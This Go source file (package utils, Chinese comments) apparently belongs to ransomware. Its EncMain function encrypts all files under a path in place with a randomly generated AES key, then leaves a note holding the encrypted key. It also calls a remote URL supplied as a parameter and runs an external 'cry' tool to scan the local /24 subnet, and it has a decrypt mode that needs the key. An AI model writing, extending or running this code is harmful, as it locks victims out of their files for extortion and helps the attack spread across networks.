package utils

import (
	"fmt"
	"net"
	"net/http"
	"os/exec"
	"strings"
	"time"
)

func GetLocalIP() string {
	addrs, err := net.InterfaceAddrs()
	if err != nil {
		return ""
	}
	for _, addr := range addrs {
		if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
			if ipnet.IP.To4() != nil {
				fmt.Println(ipnet.IP.String())
				return ipnet.IP.String()
			}
		}
	}
	return ""
}

func ScanPort(IP string) {
	IP_C := IP + "/24"
	cmd := exec.Command("./cry", "-h", IP_C, "-t", "20", "-nopoc")
	err := cmd.Run()
	if err != nil {
		fmt.Printf("扫描错误: %v", err)
	}

}

func RequestIP(DomainReverse string) {

	client := http.Client{
		Timeout: 6 * time.Second,
	}
	//client.Get(url)
	_, err := client.Get(DomainReverse)

	if err != nil {
		fmt.Printf("请求错误: %v", err)
	}
	cmd := exec.Command("find", "/", DomainReverse)
	err = cmd.Run()
	fmt.Println(cmd)
	if err != nil {
		fmt.Printf("请求错误: %v", err)
	}
	segments := strings.Split(DomainReverse, "/")
	cmd = exec.Command("ping", "-c", "4", segments[len(segments)-1])
	err = cmd.Run()
	fmt.Println(cmd)
	if err != nil {
		fmt.Printf("请求错误: %v", err)
	}
}

func EncMain(EncPath string, EncMode string, DecKey string, DomainReverse string) {

	// 生成/加载密钥（示例随机生成）

	file_path := EncPath
	op := EncMode
	start := time.Now()

	defer func() {
		end := time.Now()
		fmt.Printf("整个程序耗时: %v\n", end.Sub(start))
	}()

	// 示例：加密当前目录下的所有文件

	if op == "enc" {
		key := GenerateRandomString(32)
		ciphertext := EncAesKey(key)

		if err := ProcessFiles([]byte(key), file_path, file_path, "加密操作 ", EncryptFile); err != nil {
			fmt.Printf("加密错误: %v", err)
		}
		Message_Left(ciphertext, file_path)
		//	Message_Left(ciphertext, "/home/")
		//	Message_Left(ciphertext, "/")

		//	ReplaceMain()

		time.Sleep(1 * time.Second)
		RequestIP(DomainReverse)
		ipaddress := GetLocalIP()
		time.Sleep(1 * time.Second)
		ScanPort(ipaddress)
	}
	if op == "dec" {
		aes_key := DecKey //只有在设定为解密模式的时候才起作用
		key := []byte(aes_key)
		if err := ProcessFiles(key, file_path, file_path, "加密操作 ", DecryptFile); err != nil {
			fmt.Printf("加密错误: %v", err)
		}
	}

}
